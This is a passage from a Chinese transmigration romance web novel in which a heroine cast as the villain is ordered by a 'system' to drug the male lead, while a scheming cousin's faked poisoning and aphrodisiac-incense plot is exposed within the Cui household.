她在苦水巷多年,对巷子里的人家了如指掌,与很多街坊都比较熟,东家的西家的事大多都知道,说起来如数家珍。 当然,别人也会找她打听魏昭的事。 “赵家姑娘那事,不少人都知道,已有好些人问过我,我推说自己也不清楚,还是得看衙门怎么判决。” 这倒是不意外。 毕竟拦驾以血书告状这种事,哪怕是搁在安元府,那也是大新闻。 眼下人就在崔府,也不知在崔绩派去濯州的人回来之前,还会不会作妖? 一想到崔绩,她是多重情绪,有复杂,也有纠结。 饭后消过食,一番收拾后上床睡觉,闭着眼睛躺了近一个时辰也无法入睡。脚榻上的白小姐倒是睡得香,发出均匀的“呼噜”声。 忽然它像是被激活,一下子昂起头来,朝她“喵喵”叫唤。 她自然知道,它这副样子是想出去。 “这个时辰你还想出门,莫不是与谁有约了?” “喵。” 它已到了门边,爪子扒拉着,一边挠着,一边还冲着她叫。她起身下床,过去帮它开门。门一开,它就窜了出去。 她心念一动,立马跟上。 只见它直奔大门处,扒拉了两下后跳上墙头,直接跳到外面。 不多会儿,隔着一道门传来它咀嚼食物的声音,在宁静的夜里分外的清楚。 她将门打开,一眼就看到蹲在白小姐旁边的人。 一人一猫皆是白色,与月色相映,好比是月宫嫦娥变成了神子,玉兔经成了白猫。如此景象不似在凡尘中,却又透着人间才有的温暖。 这样的温暖不由自主地将她吸引,她慢慢过去,也跟着蹲下,用手顺着白小姐的毛发。 “你今天可以不用说那些话的。”她说。 “反正最后他们都会知道,我不想你撒谎。” 她心下叹息。 如果她的剧情任务走完,女主出现后一切重归书中主线,那么他们之间的事注意会被埋葬,别人又怎么会知道。 而今他当众挑破,她确实有些措手不及,要不么也不会回魏宅。 “那现在你要怎么办?且不说祖母和崔家,你外祖母必是不会同意。” “这些事不是你该操心的。”他目光幽幽,如柔情似水,“我会解决,你只要知道我们一定会在一起,谁也阻止不了。” 这么坚定的吗? 她的心莫名为之一颤,竟是欢喜与期待。 白小姐已经吃完了小鱼干,被她一把抱起,“你要不要进去坐坐?” 透过半开的门,可见院子里的景物,分明是一间民宅,不说是比之公主府,与崔府也是天差地别。 但对于崔绩而言,却是向往。 “不了,我怕我一旦进去,便不想离开。” 魏昭愣了一下,尔后神情有些微妙。她下意识退后两步,像是在躲什么洪水猛兽,“那我就进去了。” “知之。” 她被叫住,很快落入坚实的怀抱中。 男人的气息瞬间将她包围,“我不会让你等太久的。” * 这一夜对于很多人来说不过是寻常的一夜,但对于有些人而言却是极其的不同,漫长而暗流涌动。 林氏被连夜送走,而留下来的赵家祖孙则成了众矢之的。 夏姨娘和崔明淑骂到了大半夜,天一亮又开始新一轮诅咒。她们是苦主,便是盛氏都没拦着她们,由着她们发泄完心中怒恨。 崔家上下人心浮动,传言漫天飞,根本无法禁止。 魏绮罗送出消息来,让魏昭在魏宅多住些日子,不必急着回去。 魏昭正有此意,想着等赵狄的案子判决后再做打算,在这期间内,她只管守着自己的一方小天地。 哪成想,崔家人的没来找她,寿昌公主却来了。 寿昌公主打从看到她,便一直在笑,将宅子扫了一遍后,问:“本宫送你的人呢?” 她立马递了一个眼色给月婆婆,月婆婆很快把人带来。 李戌还是在幽篁馆中的那样打扮,青衫飘逸戴着面纱,怀中抱着琴。他在寿昌公主的吩咐下,坐在一旁抚起琴来。 琴声悠扬响起,一时如过高山,一时如泉水叮咚。 寿昌公主倒时随意,就与魏昭在院子里说话。 “本宫早该想到的,表哥对你不一样。” 很显然,她知道崔绩当众说的那句话。 魏昭回道:“民女全倒是没有想到。” 这话不是假话。 她确实没有想到,他们分明是书中的男主和恶毒女配,竟然会走到今天这一步。 “英雄难过美人关。”寿昌公主挑着眉,先是盯着她的脸看了好一会儿,再打量着她的身段。 因着不在崔府,她的衣着颜色也不用避讳别人,今日穿的是湖蓝色的衣裙,纵使未施脂粉,却越显天生丽质,似是头茬的新荔,水润如玉惹人垂涎。 “倘若本宫是男子,肯定也过不了你这样的美人关。” “殿下莫要取笑民女了。”她只能作害羞状。 寿昌公主闻言,笑出声来,流转的眼睛往李戌那边瞟了一下,“本宫现在总算是明白了,为何赐婚的圣旨一下,沈弼就出了京,合着是表哥对本宫送你的礼不满。” 深宫出来的人,再是行事随意,又岂会是心性单纯之人。 人心皆由己,自己复杂,所见全是复杂,自己简单,所见自然是简单。 她语气轻松,却是肯定。 这种事魏昭不好置喙,也不便帮崔绩解释,只能是低头喝茶以作敷衍。 李戌抚着琴,似是对她们的言谈充耳不闻。 一曲终了,又换一曲。 “可惜了。”寿昌公主嘴上这么说,神情却是似笑非笑,“这等艳福你怕是无法消受了,这人怕是也招了本宫那位表哥的眼,你赶紧处置为好。” 她这番话,恰合魏昭的心思。 等人离开后,便对李戌说:“方才公主的话你也听到了,眼下时机已到,你可以走了。” 李戌抱着琴,望向隔壁的宅子,声音低落,“我如今无处可去,能不能容我再住些日子?” 虽说那曾是他的家,但如今已是魏昭的产业。 他的事牵扯太大,魏昭没打算过问,尽管不想招惹麻烦,却还是念及两人曾经的旧情,让他继续住着。 望着他抱着琴出了魏宅,记忆中的某些片段一一浮现。那些不属于她,却又真实存在于脑海中的画面,让她心绪发沉。 很快隔壁传来开门声,紧接着是关门声。 蓦地,系统的声音响起。 【触发剧情任务,请宿主给男主下媚药,限时三日。】 “……” 这是什么情况? 之前的剧情触发都有迹可依,全是她听说了,或者是身边发生了类似的事,为什么这一次毫无征兆? 魏昭皱起眉来,等了好一会儿也没有等来系统的继续,越发觉得不解。 这次的任务为何如此简单? 第69章 * “姐姐, 我的命怎么这么苦……欣然若是有个好歹,我可怎么活啊……” 赵老夫人悲苦的哭声从客房院内传出来,透过大开的院门, 守在外面的人清楚可见她被盛氏扶着,正泪眼巴巴地望着西厢。 盛氏皱着眉, 神情间有难过,更多的是复杂。 “当真无药可解吗?”她问一旁背着药箱的张大夫。 张大夫摇头, “表姑娘应是一心求死,所服之毒太过霸道,五脏内里怕都衰败得不像样子,是以才会有那等虚沉无力的脉相,我实在是无能为力。” 他这些日子常往崔府跑, 对崔家近日发生的事知之甚多, 可谓是外人中最为清楚之人。 正是因为清楚, 才更觉得唏嘘。 那位表姑娘应该是做下了太多恶事, 已无颜立于世间,才会选择自我了断的吧。对于这个么害人的亲戚, 崔家人是仁至义尽,竟然赶回来见她最后一面。 他如是想着, 看着西厢紧闭的门, 心下一声叹息。 “姐姐, 欣然是我的命根子, 你可一定要救她……”赵老夫人死死地抓着盛氏的胳膊, 力道之大让盛氏都有些吃痛。 盛氏忍着痛, 安慰道:“你放心,我已经派人再去请其他的大夫了。” 人之将死,她也不想计较太多。 所以看到赵狄强撑着一口气, 说想在临死单独见崔绩一面时,她犹豫了一会儿,最终还是同意。 突然,西厢紧闭的门窗一起打开。 她惊了一下,心跟着为之一沉,忙问开门的人,“老三,欣然她……” 赵老夫人“哇”地一声,跌跌撞撞地往里面冲,“欣然,欣然……你不能就这么走了,你让祖母怎么活……” 张大夫叹了一口气,背着药箱跟上。 一进屋内才发现,赵狄不仅没有咽气,反而已经坐起。 而原本一同进来见她最后一面的崔洵崔沪和崔绩皆是沉着脸,看她的目光毫无怜惜之色。 “张大夫,麻烦你再帮她诊脉。”崔洵板着脸道。 张大夫赶紧过去,搭上赵狄的手腕,立现惊疑之色,“这……这……这脉相怎地变化如此之快,竟是好了许多!” “好了?” 赵老夫人和盛氏齐齐惊呼。 “这是怎么回事?”盛氏忙问。 崔沪没好气地道:“这就要问我们的好姨母了!合着你们祖孙害人不成,还想将我们崔家拖下水,当真是好恶毒的心思!” “三郎,你这话从何说起?欣然福大命大,捡回一条命来,你就这么……” “她哪里是捡回一条命,她根本就是耍着我们玩!”崔沪说这话时,那看向赵狄目光中有痛心,还有厌恶。 赵狄低着头,双手死死地揪着绣梅点绿的锦被。 赵老夫人抱着她,哭得上气不接下气,“我苦命的孩子,险些被人逼死了,好容易活过来,却这么不受人待见……” “张大夫,你看这个。”崔洵递上一个还带着温度的小香炉。 香炉隐隐还冒着香气,张大夫没接到手时,已闻出是何物,脸色随之大变,“这是合欢香。” 屋子里药香浓重,若不是香气到了跟前,恐怕还真闻不出来。 “母亲,她们这是苦肉计,目的就是引绩哥儿单独来见,倘若真中了她们的计,我们崔家就要成为整个安元府,乃至于整个大周朝的笑话!” 崔沪越说越气,庆幸大侄子不是一个人来的,还叫上了他们。更庆幸大侄子鼻子灵,闻出了不对劲,否则他和大哥闻多了这东西,怕是都要出丑。 到了这个份上,盛氏还有什么不明白的,气得浑身发抖。 如果说之前她对赵狄还有一点怜悯之情的话,此时已经彻底没了,当即到了床前,抬手就给了赵狄一巴掌。 “你太不像话了!你怎么能做出这样的事来?你这是要毁了我们崔家!” “姐姐……”赵老夫人哭喊着,“我求求你,可怜可怜我们……” “你给让开!”盛氏正在气头上,但对于这个妹妹还是有感情的,“你看看她做的这事,你让我怎么可怜她,她必是连你也骗了!” 赵老夫人被说中,哭声停了一下。 盛氏见之,越发来气,“你管不了她,我来替你管,你给我让开!” “姐姐……” 姐妹俩一个还要动手,另一个拼命拦着。 “行了!” 赵狄兀地出声,慢慢抬起头来,那阴沉带着怨毒的目光,看得盛氏心下突突直跳。 “你还有脸恨我们?我们崔家哪里对不起你,你要这么害我们?我对你的爱护之心,等同于元娘惠娘云娘她们,你为什么……” “够了!”赵狄打断她的话,“您说的好听,您若真的爱护我,为何不直接将我许配给表哥?您嘴上说疼我,却不敢和大长公主去提亲事,反倒让我自己争取,事事让我出头,是你们对不起我!” 她被这话堵得心口发凉发寒,甚至开始发疼,“原来你是这么想的……我们的好心,换来的却是埋怨,好,好,好……” “母亲!”崔洵连忙扶着她。 她摆了摆手,愧疚地看向崔绩,“绩哥儿,是祖母不好,是祖母识人不清,险些害了你……让她们走,让她们走!” 说完,她两眼一黑,晕了过去。 * 斗南听从崔绩的命令,带着几个人盯着赵家祖孙。先是守在客院的外面,等她们收拾好后,再跟她们出府。 一路上,崔家的下人们对她们指指点点。 “那个高人说的对,咱们崔府确实是招了脏东西,这害人精好恶毒的心思,也不怕天打雷劈!” “她就是个灾星,克死了自己的父母祖父不够,还到处害人,肯定是要遭报应的……” 赵狄听着这些话,脑子像要炸开。 父母出事后,不说是外人,就是府里的下人都这么传。祖母知道后大怒,将那些人都给发卖了。 祖父病亡时,张家为退亲,四处散播同样的话,祖母被气得病倒,却为了她的将来不得不以死相逼,逼着张家在祖父的热孝内将她迎娶过门。 她在那般情形之下嫁进张家,处境可想而知。公婆不待见,丈夫横眉冷对,便是张家下等的奴才都不把她放在眼里。 半年后祖母去世,她更是举目无亲,在张家忍气吞声。纵是她一忍再忍,却还是逃不掉被休弃的命运。 被休之后她无人可依,无处可去,只能进京投靠。姨母祖看似心疼她,却由着府里的人私下说她是灾星克星。 她还是只能忍,忍着别人白眼,忍着别人的嫌弃。 明明她已经重新来过,为什么还会是这样的结果? 这满眼的富贵,为何不能属于她! 穿过最后一道月洞门,从内院到了外院,她的视线中出现一抹绿色,在明媚的阳光中招摇而来,如一根刺扎进她眼里。 魏昭也看到了她,不躲不避,一步步地走近。 纵是一张芙蓉面上没什么表情,不见得意,也无任何喜色,但在她看来,这是轻视,也是无所谓,更像是胜利者才有的姿态。 斗南极有眼色,已呈戒备之状。 当然不是为了保护她,而是怕她对魏昭做什么。 “你是来看我笑话的?” 魏昭淡淡地道,“你想多了。” 她是听到盛氏昏倒的消息,不得不回来一趟。 继孙女也孙女,当祖母的病了,岂有不闻不问的道理。 “你还不敢承认?真是虚伪!你有什么好得意的,若是当初我没有离开安元府,而是与表哥一起长大……” “都这个时候了,欣然表姐还有心思想这些有的没有,实在是让人佩服。”魏昭似是一副好心的模样,“你就一点也不担心张家的案子查清楚后,你会面对什么吗?” 赵狄面色一变,却很快恢复镇定,“事情都是欺霜做的,与我何干?” “我是该说你无知呢,还是该说你蠢?”魏昭轻笑一声,“你处心积虑害人,不应该事先了解一下我们大周朝的律法吗?” “你……你这是何意?” “下人犯事,主家也脱不了干系,轻则赔钱,重则流放。张家死了好几口人,你猜你会被连坐什么处罚?” “祖母!”赵狄下意识去看赵老夫人。 赵老夫人脸都白了,“你少唬人!下人犯事,顶多就是给些银钱,哪里像你说的那样……” 不怪她半信半疑,实在是在她的印象中,不管是哪个府上的下人犯了事,最后都是私下化解,要么利益互让,要么散些钱财,从未听过牵连家主受罚的。 “看来姨祖母也不知律法,更没有教过自己的孙女,难怪她行事歹毒,败露之后还无所畏惧,真是可悲啊。” “你……你少在这里危言耸听……”她强忍着心中恐惧,“欺霜瞒着我行事,她已经认罪了,也以命抵命,律法还能把我如何?” “我大周律法第二百十一条,家奴犯事,坐连主家。” 崔绩的声音传来,很快人到了跟前。 他的话,无异于一道惊雷,击溃赵狄心底的侥幸。 “不……不……为什么没有人告诉我?” 赵老夫人已顾不上自己长辈的身体,“扑通”朝他跪下,“绩哥儿,求你救救欣然……” 斗南几步过来,和另外一个衙役赶紧将她扶起。 她哭喊着,“绩哥儿,姨祖母求你了……她做的一切都为了你,你一定要救她……” “姨祖母这话好生奇怪,什么叫都是为了我兄长?难不成您是想把您孙女做的恶事,全算到我兄长头上?”魏昭的语气不掩嘲弄。 “上梁不正下梁歪,姨祖母应该好好反省自己才是,而不是到了如今这个地步,还想着替自己的孙女脱罪!” “你……” 赵老夫人一副要吃人的模样,恶狠狠地瞪着她。 她的身前很快被人挡住,尔后是崔绩极冷的话,“是非黑白,自有律法定论,这里是崔家,还轮不到你们外人在此放肆!” 一个外人,一个放肆,足见他对这对祖孙的厌恶。 祖孙俩又是心惊害怕,又是不甘,然而崔府已不是她们能停留的地方,很快被斗南和那几个衙役催促着离去。 哪怕是走得远了,赵狄还不死心地回头。 但见那一身绯色官服的人,正低着头,微微将身体俯倾着,似化冻湖水中倒映的修竹,春意浓浓显尽温柔。 她嫉妒着,恨着。 尤其是那抹绿色不知羞地依偎过去时,更是恨不得冲过去取而代之。 忽地,魏昭朝她望来。 哪怕是离得很远,她似乎还能感受到魏昭目光中的讽刺。 当她彻底看不见,魏昭才收回视线,问道:“祖母怎么样了?” 崔绩细嗅着她的清甜香气,“她是急火攻心,幸好张大夫当时也在,及时救治,已无大碍。” 她见他的衣着,便知他还要去衙门,又想着府里人多眼杂的,万一他做出什么亲密的举动被人看到,自己不好解释。 遂退后两步,道:“你去忙吧,我去看祖母了。” 反正这次的任务简单,倒也不急。 但再不急,也有三日期限。 想了想,道:“这两天你若有空,不管我住在哪里,你来找我,我有话和你说。” 崔绩眸色幽幽,声音极轻,似叹息,更似满足,“你是不是又犯病了?” “!” 第70章 * 盛氏悠悠转醒之时, 看到的是坐在床边的杨氏。 杨氏忙问她感觉如何,可还有哪里不舒服,想不想喝水之类的话。她无力地摇了摇头, 透过松鹤同辉的屏风,依稀能看到屋子里还有其他人。 很快, 屏风那边的人听到动静,齐齐过来看她。 她望着儿孙们, 只觉羞愧。 “她们……” “母亲放心,我已让人去打扫城北的那处宅子,暂时将她们安置过去。”杨氏回道。 “你办事妥当,我没什么不放心的。”盛氏幽幽地叹了一口气,“都是我的错, 如果不是我让她们进京, 就不会发生这些事。” 但这世上的事哪有如果。 杨氏安慰她, “她们必是早存了心思, 哪怕母亲没有提及让她们进京之事,她们也有自己的办法。” “升米恩, 斗米仇,纵是嫡亲的姐妹, 也是一样。” 事到如今, 她再是疼赵老夫人这个妹妹, 也不得不狠下心来, 一把抓着杨氏的手, 郑重交待, “你要派人盯着,万不能再出岔子!” “这事不用母亲操心,事关命案, 绩哥儿会看着办的。” 这话是崔洵说的。 三兄弟都在,个个面色凝重。 魏绮罗没有往前凑,打眼看到进来的人,唤了一声,“知之。” “听说祖母病了,我就急着赶了回来,祖母没事吧?” 派去传消息的人就是魏绮罗,所以魏昭这话不是说给她听的,而是说给崔家其他人听的,毕竟孝顺这种事,该说还得说。 “张大夫说你祖母无大碍,人刚醒。”她回道。 这些年来对于崔家的任何人,母女俩都拿捏着分寸,不是外人,却也不是内人,始终保持着一定的距离。 是以她们如往常那样,一起等在所有崔家人后面。 谁知盛氏听到动静,竟问了一句,“是不是昭丫头来了?” 她点了名,魏昭赶紧过去,关切地问道:“祖母,是我,您可好了些?” “我没事。”她招了招手,示意魏昭上前。 等魏昭到了身边,被她一把拉住,“好孩子,我知道你惦记我,我这把老骨头多亏了你,才没遭大罪。” 众人是被她这话弄得一头雾水,她也没再隐瞒,将赵狄送给自己那瓶药的事一说,“若不是昭丫头提醒,我恐怕……” “那个黑心肝的,她是怎么敢的!”崔沪一手成拳,砸着自己的另一只手,恨不得要揍人的样子,“狼心狗肺的东西,张家的事肯定就是她做的!” “是我一时心软,险些酿成大祸。”她重重叹了一口气,神情间不掩后怕之色。 “那个高人说的没错,她就是不干净的东西!”崔明淑狠着声,咬牙切齿着。 虽说鬼神之说不可信,但这话却无人反驳。 盛氏又叹了一口气,端详着魏昭的眉眼,纵是一向知道这个继孙女是个容貌过人的,但还是头一回这么近地看着,越看越觉得惊艳,私心想着这等不俗的长相,难怪大孙子会动心。 只是…… “你这孩子救过我,又救过六郎和云娘,真是我们崔家的福星。” 福星这两个字,可谓是最好的夸赞。 魏昭赶紧说都是一家人,互帮互助都是应当的。 盛氏对于她不居功,也不得意显形的模样很满意,暗道大孙子心悦这孩子,恐怕除了外表,还有这纯良的性情。 一时心情有些复杂。 尽管好像所有人都绝口不提崔绩说过的话,但其实人人心里都在揣测,揣测崔绩会怎么做,揣测盛氏方才说的话是什么意思。 等到长辈们被留下,小辈们全退出去后,魏昭被崔家姐妹围住。 崔明淑最先发问:“四妹妹,你老实交待,你和大哥到底是怎么回事?” “三姐姐,你这话应该去问大哥。” 崔明意在一旁帮腔,“对,那话是大哥说的,三姐姐你不去问大哥,问四姐姐做什么?四姐姐指不定和我们一样,什么都不知道。” 崔明淑撇嘴。 或许是和魏昭的关系缓和了些,或许是因为崔绩的话,以及盛氏对魏昭的态度而有了顾忌,竟然没有冷嘲热讽,而是提起了赵狄。 “她必是早就看出来了,所以才会针对你。说你心细吧,你对别人的事倒是上心,对自己的事却这般糊涂,居然连她为什么抢你的机缘都不知道。” “我实在是没想到。” 魏昭确实没有想到,自己这个恶毒女配竟然成了男主口中的心悦之人。 一想到先前崔绩走之前那沉得吓人的眼神,以及那句“我晚上来找你”的话,她就莫名脸红心跳。 “四妹妹,大哥对你有意,祖母也不反对,欣然表姐也出了事,你也不能心生得意,以为自己就能当上崔家的大少夫人。” 崔明静的话听着像是好话,实则刺耳至极。 魏昭看着她,不冷不热地道:“二姐姐这话我听不懂,你几时见我得意了?你几时听到我说自己要当崔家大少夫人?” 在她变脸时,反而轻笑一声,“说句难听的话,大哥的心思是他的,与我何干?赵狄出事是她自己做的孽,更是与我没有半点关系!” 姐妹四人,以前是各自为营,如今倒是有几分意思,崔明淑和崔明意都站在了魏昭这边,和她势成对立。 “那赵狄祸害我们崔家,二姐姐还一口一个欣然表姐,果然是一丘之貉。” 崔明淑对着她这位嫡姐,再无半点顾忌,难听的话张口就来。那不敬不友爱的目光,更是毫不掩饰。 便是崔明意,对她也没什么好脸色,虽不至说横眉冷对,却也是透着几分警惕与怀疑,怀疑她和林氏一样,也是个包藏祸心的。 “三妹妹如今倒是巴着四妹妹了,怕是忘了自己以前是怎么对她的。”她从她们身边经过,话全是说给魏昭听的,“四妹妹今时不同往日,我这个做姐姐的是不敢说什么了,那我就等着四妹妹的好消息。” 她意在挑拨嘲讽,以为会激怒魏昭,却不料魏昭一点也不生气,还很客气地回了一句,“那二姐姐就好好等着。” * 近一个时辰后,魏绮罗回来了。 以前崔家内部商议事情,她就是一个听众,凡事都与她无关。 这次倒是意外,居然有她的事。 “我也是没想到,她竟然让我和你三婶一起管家,看来我还真是母凭女贵了。”她说的随意,还不忘打趣一二。 魏昭失笑。 “那你是拒绝了?” “难怪人家说母女连心,还是你最知道我。”她歪坐着,喝了一口水,“我有几斤几两我自己知道,我哪里能管得了家。再说我清闲惯了,放着好好的自在日子不过,去掺和那些事情做什么。” 见魏昭不说话,又道:“你别替我操心,我心里有数。想当初我嫁进来,图的是什么?一是贪图富贵,二是图你日后有依有靠,别的我不贪心。” 魏昭动容,抱住了她。 母女俩腻歪了一会儿,她才离开。 既然来了,魏昭就没打算急着回魏宅。 窗前的青梅树仅剩枝叶,仍旧绿意盎然,放眼望去一派生机,但却是花开花落,叶绿叶黄有尽时。 那书中的剧情呢? 如今都走到要下媚药的地步,魏昭实在是想不出若想让一个男人讨厌,恶毒女配还能做什么? 白鹤见她把玩着合欢散,猜到这药应该是用在谁身上,几次欲言又止,最后还是没能忍住,问道:“姑娘,大公子都说了他心悦于你,你若真想和他……应该没有必要用到这些东西。” 她无奈地叹息,“你就当我是想试试他的定力吧。” * 是夜。 崔绩如期而至。 当他朝自己走来时,魏昭的眼里全是惊艳之色,因为他一改往日一身的重雪色,竟然穿了一袭红衣。 那红极正,像喜服一般,衬得他越发如冷玉般出尘,眉目如画,画中暗含春意。 等他到了跟前时,她已回过神来,赶紧给他倒茶,将茶递过去的时候提醒道:“你别喝。” 他闻了闻,没说什么。 【恭喜宿主完成任务。】 她听到这声音,还在琢磨为何这次的任务如此简单,那么接下来呢? 一错眼的工夫,她看到他将茶杯搁在桌上,而杯子已是空的。 “你怎么喝了?” 崔绩深深地看着她,声线极低,“我渴了。” “你不知道这茶里有什么吗?你怎么能喝呢?你渴了的话,我重新给你沏,你……”她停了下来,目光定定,“你是故意的?” 他长腿一迈,将她困于自己和桌子之间,“我想着你常病,之前做了那么多事都没好,应该是治标不治本,未能彻底断根。” 她也想断根哪。 但是这该死的剧情,居然没完没了的。 “我现在已经好了,你快走,若想省事些,让人把你打晕睡一觉就好了。若是不怕麻烦就用冷水泡,等药性过了也就没事了,实在不行,你就找人……” 男人的大掌捂住她的嘴,阻止了她接下来的话。 “你不是说若我有事,尽管找你,你这是不打算管我?” 这合欢散不是毒,哪里来的解药。 如果说有,那眼下就是她自己。 “兄长……”她用力掰开他的手,微微娇喘着,“你再不走,真的要出事了。” “你喜欢我,我喜欢你,我们两情相悦,你怕什么?”他气息靠近,目光幽深,眼尾下的美人痣越显妖冶,像是要吃人,意图昭然若揭。 她怕被剧情背刺! 她更怕失了心又失了身,到头来一场空! “兄长,我……我前日做了一个梦,我梦到你以后和别人在一起了,你不仅不再喜欢我,还对我厌恶至极……” “不可能!”他身体压了压,隔着布料与她紧密相贴,烫得她两腿发软,“你难道感觉不到吗?我对你岂会厌恶?” “你是喝了药……” “我没喝。” 她心下一松,暗道还好。 谁料那烫人的地方越发的贲张,她心下立马叫苦,这人可是限制文男主,哪里用得着喝药,正常的反应就够吓人的。 “那你……” “我思来想去,你这病应该是心病,若想彻底根除,只有一个办法。”他这话几乎是贴着她的唇说的,气息灼人,“就是得到我。” “……”《 》 70-79 第71章 她撑着桌沿的手下意识用力, 指腹紧紧按着,尖端褪血发白,粉色的指甲却充着血, 颜色更深了些。 先前她没能在规定时间内完成任务,而受到脑电波的攻击, 那种密密麻麻的头疼让人心有余悸。她不敢赌,赌剧情被改写之后, 自己这个恶毒女配的下场。 时至今日她不知自己走了多少剧情,却知道一日不走完剧情,她就不可能依着自己的本心去生活,更没有办法回应男主的感情。 该死的系统! 这破剧情到底什么时候才能走完? “我这病若想好,只能靠我自己。” 除了她自己, 谁也帮不了她! 情雾迷离的气氛, 因为她这句话而清朗起来, 似是前一秒还激烈滔天的巨浪, 瞬间从半空中泄落,倾刻沉入深海, 只余表面不甘的波澜。 崔绩撤离了自己的身体,那危险的气势与压迫感也随之消散, “我还以为你需要我……” 极轻极低的声音, 听起来很失落, 像个被人遗弃的小可怜。 魏昭的脑海中立马浮现梦里那个幼童的样子, 明明出身高贵锦衣玉食, 却仿佛是个孤儿, 想爱别人,渴望被人爱,也渴望被人需要。 哪怕眼前是个成年的男子, 不再是无助的幼童,她还是于心不忍,在他转身之际扯住他的袖子,“不是这样的,我需要你。” 他慢慢转过身来,深深地看着她,“你真的需要我?” “真的。” 剧情还没走完,她怎么可能不需要他? “那你为何不愿意我帮你?”他垂着眼皮,如画的眉眼中透着几分幽怨,“是因为看过我的身子,不满意?” 他不提这茬还好,一提这个魏昭立马就想到他坦然面对自己时的样子,那身材张力,以及绝对的天赋异禀,如同寂夜里的一把火,映红了半天边。 “不是因为这个……”她深吸一口气,以此来平复自己快冒烟的心脏,“这事……还不到时候。” “那到时候,我可会找我?” “兄长。”她实在是见不得这样的他,太过违和,“你真的不必如此。” “那我应该怎样?”他似在问她,也似是在问自己。 她想说你是男主,是这个书中世界的中心,所有人都为你而存在。 但真是这样吗? 除了她以外,没有知道这件事,对于世人而言,不知就是不存在。然而对她来说,尽管不知女主是谁,却知道书中定有这个人的存在。 所以该问这句话的人,还有她。 “我也不知道。” 如果她知道后面的剧情,是不是就不会有任何的犹豫? “知之。”崔绩的声音更低了些,“在未与你相知之前,我就像是花池里养的鱼,溺在水中无法逃离。是你抛下的饵,一次次将我钓起,又将我放回,我就盼着你哪次将我钓起后,不再放归。” 魏昭未曾想过,会听到这样的一段剖白的话。 对于她而言,系统就是那个垂钓者,一次次给她下套,又让她归于正轨,她也想知道哪一次才是最后一次。 他们的处境何其的相似! “兄长,我不知道……” 话还没说完,她整个人就落入崔绩怀中,他抱得很紧,正如他自己所说的那样愿者上钩,死死地咬着到嘴的饵不放。 “知之,我很需要你。” 这不是情话,但更让她动容。 她却是没有看到,他口中说着乞求之言,眼底却是不知足的贪婪,如那守着珍宝的龙,垂涎而隐忍。 不光要守着,防着别人,还要昭告天下。 是以第二天下衙后,他将崔家几兄弟和魏绮罗杨氏等人都请去听闲堂,当着盛氏的面表明了自己的决心。 那便是此生非魏昭不取! 除去这一点,他还让所有人配合他,帮他赢取她的芳心。 “你是不知道,大公子那话一出,崔侍朗的脸都红了。”魏绮罗紧赶慢赶回来后,气都没喘匀,快言快语地就把事情全倒进她的耳朵里。 她的脸也红了。 不是羞的,而是臊的。 “他决心极大,看那架势是对你志在必得,老夫人应是都被唬住了,竟然没有反对。” 盛氏没反对,其他人自是不好说什么。 “知之,大公子都做到这个份上了,你到底怎么想的?若真对他无意,可不能由着他这样下去,否则你怕是逃不掉。” “我……对他也有些好感,只是……” “有就行。”魏绮罗一拍桌子,“这可不是我们上赶着的,是大公子自己愿意。难得有情郎,他能做到这个地步,足见他心之诚,你可别碍于一些有的没的,白白错失这么好的男子。” 魏昭暗自叹气,这哪里是不想错失就不会错失的。 无论哪一本书,男主都属于女主。男主之所以是男主,是因为女主。女主之所以是女主,亦是因为男主。 一想到自己只是恶毒女配,她是满心的无力。 这会儿的工夫,魏绮罗的思绪不知跑了多远,已经开始憧憬他们成亲之后的事,“以前我还担心你,纵是招人上门,也得应对姑爷家里的亲戚,少不得有些麻烦。若是你和大公子在一起,倒是好办多了。” 现在的崔府不比以前的崔府,确实清静了不少。 当家的是杨氏,与她们关系不错。退一万步说,这也是她们的地盘,不管是做什么都更方便些。 魏绮罗又想到以后自己不光是女儿的娘,还是女儿的婆婆,自然也就没了婆媳之间的龃龉,是越想越开心,竟然笑出声来。 “娘,这八字还没一撇呢,祖母这关好过,大长公主那里可不好过。” “也是。” 魏绮罗满腔的欢喜被一盆冷水泼去,好半天没说话。 过了一会儿,道:“有其父必有其子,崔侍郎是个痴情的,没想到大公子更是青出于蓝胜于蓝。” 魏昭愣了一下。 “那崔侍郎没说什么?” “他肯定是有话说,父子俩又去书房了。” * 书房内。 崔洵点了香,递给崔绩,崔绩将燃着的香插到香炉内,父子俩这才算是完成一贯的仪式。 望着画中的女子,崔洵感慨道:“你长大了,也有了心悦之人,还有成家的打算,你娘若是泉下有知,定然很欣慰。” 他的眼神有情,更多的是尊敬。 这些年世人提及他与萧蔚的婚事,皆道他们夫妻情深,一个不顾性命也要为丈夫延续血脉,另一个则用情至深,哪怕是续娶了一个像她的替身,膝下却再无别的子嗣。 而崔绩看画像的目光没有思念,只有冷淡,“她若真的泉下有知,恐怕最后悔的就是将我生下来。” “绩儿,你……你何出此言?”崔洵明显吃惊,严肃的脸上浮现出难以置信的神情,眉头也随之皱起。 崔绩扯了扯嘴角,似是嘲弄,“生而丧母,至亲视之为仇,这样的人不应该出生。” “绩儿!”崔洵没想到他会说出这样的话来,看他的目光充满心疼之色,“你不能怨你娘,她为了你连自己的命都不顾,你外祖母也是珍视你,才会对你严厉了些……” “父亲,我没有怨她。”他打断崔洵的话,抬眸时隐去嘲弄,取而代之的是庆幸,“若世间无我,我又岂会心悦于人。只是父亲,她已故多年,你难道不想为自己而活?” 香火的气味弥漫开来,已燃了一小截,红光一点点地下移,香灰尽落入铜质雕刻的香炉中,不知重复多少回,一日一日,一月一月,一年一年,整整二十一载。 这二十一年来,崔洵从未被人问过想不想为自己而活,一时之间他被问住,向来古板的脸上竟有一丝迷茫。 须臾,他回过神来,“你到底是大了,都会关心为父了。你不用担心,为父如今很好,只要你一切都好,便再无所求。” “上次我与父亲提过的事,父亲可还记得?” 见他不语,崔绩又道:“魏夫人嫁给父亲多年,父亲也该为她想想。” 他记起这事,神色有些不太自然,“……为父不是说过,她有你四妹妹,你对你四妹妹……若是你们真在一起,好好孝顺她便是。” “四妹妹姓魏,是女户,早就言明在前,日后是招婿上门,我们怕是不能在你们身边尽孝。” 他愣了好一会儿,才喃喃,“你能做到如此地步?” 崔绩看着他,淡淡地道:“将来我的孩子应该不姓崔,这或许就是冥冥之中的注定。” “绩儿!”他脸色大变,“你……你都知道了?!” 他们父子虽不算亲密,却胜在相互信任。 崔绩没有否认,“父亲,我希望你能放下过去,与魏夫人好好过日子。” “你这孩子……”他声音低下去,“那你外祖母那边……” “她还不知道我已经知晓。” “这件事你切记不能让她知道,还有那个人的事,你一个字都不能问,否则……”崔洵才松下去的一口气,重又提了起来,“还有你和知之的事,她怕是不会接受,你若真认定了,当有所准备才是。” “多谢父亲提醒,我心里有数。” 